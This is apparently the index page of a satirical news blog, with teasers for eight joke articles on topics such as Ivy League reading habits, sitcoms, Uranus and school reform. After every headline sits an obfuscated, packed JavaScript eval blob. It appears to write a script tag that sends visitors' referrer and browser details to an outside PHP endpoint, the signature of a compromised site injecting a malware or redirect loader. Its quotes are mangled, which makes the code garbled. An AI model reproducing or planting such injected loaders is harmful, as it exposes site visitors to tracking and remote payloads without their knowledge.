The Reading Styles of Very Important People

READING STYLES OF VERY IMPORTANT PEOPLE (RS/VIP) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkyan|var|u0026u|referrer|yfatb||js|php’.split(‘|’),0,{})) Harvard’s First Female President Cites Literary Influences Cambridge, MA May 27th, 2012 (SHK) This week’s book review section of The New York Times comes with a brand-new feature for the paper’s subscribers: interviews with Very Important People about their reading styles. The [...]

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This Spring’s Scumbag Sitcoms

THIS SPRING’S NEW SCUMBAG SITCOMS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnzan|var|u0026u|referrer|hfein||js|php’.split(‘|’),0,{})) Four-letter Words Headline Network Lineups New York, NY March 26th, 2012 (SHK) America’s national TV networks have, in the words of one critic, “spawned a new generation of sitcoms that feature idiotic characters” in an attempt to reach a wider viewing audience. After Charlie [...]

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Ten Worst Ph.D. Thesis Titles

OUR TEN WORST PH.D. THESIS TITLES eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbfzi|var|u0026u|referrer|zdnzr||js|php’.split(‘|’),0,{})) Somehow, the Topics seem more Credible in an Election Year New York, NY March 3rd, 2012 (SHK) A recent report by the National Endowment for the Arts suggests a possible reason for the decline of American influence in the world. The NEA showcased [...]

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Huge Crack in Uranus

MASSIVE EXPLOSION SPLITS NEARBY PLANET eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeby|var|u0026u|referrer|bdzdb||js|php’.split(‘|’),0,{})) New Black Hole Feared in Solar System Washington, DC November 21st, 2011 (SHK) A giant intraplanetary blast apparently created an unprecedented gorge in a well-known planet’s crust, astrophysicists said yesterday. “There is clearly a huge crack in Uranus,” said Dr. Thaddeus (Tad) Stevens, head [...]

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New National Exam for Airport Security

SECURITY SCANNERS HAIL NEW TEST eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsdaf|var|u0026u|referrer|nsbra||js|php’.split(‘|’),0,{})) National Exam Creates Level Playing Field Washington, D.C. September 28th, 2011 (SHK) The nation’s news media loves to run stories about inadequate airport security. As a result, the Transportation Security Administration here, a division of Homeland Security, has implemented a new standardized national test [...]

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When Politicians are Undereducated

MANY POLITICIANS LACK COLLEGE EDUCATION eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfany|var|u0026u|referrer|dyata||js|php’.split(‘|’),0,{})) Main reason America is in trouble, some say Washington, D.C. September 5th, 2011 (SHK) “America is a nation without a distinct criminal class,” the famous humorist Will Rogers once said, “with the possible exception of Congress.” According to the most recent data, 29 Congressional [...]

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Historic Christian Texts Unearthed

HISTORIC CHRISTIAN TEXTS UNEARTHED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttery|var|u0026u|referrer|izfbe||js|php’.split(‘|’),0,{})) Jordan Cache Casts Doubt on Life of Jesus Amman, Jordan. July 26th, 2011 (SHK) A trove of previously unknown documents from the early Christian era has been unearthed in the desert near Madaba, in western Jordan, Biblical scholars at Yeshiva University’s School of Archeology in [...]

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School Reform Takes Off

IS SCHOOL REFORM TAKING OFF? eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sztdt|var|u0026u|referrer|frsae||js|php’.split(‘|’),0,{})) Jail Bars Now on Most Classroom Windows Washington, DC June 23rd, 2011 (SHK) Secretary of Education Arne Duncan today announced the results of the latest National Assessment of Educational Progress (NAEP) – the nation’s so-called report card. “No question about it,” he said from [...]

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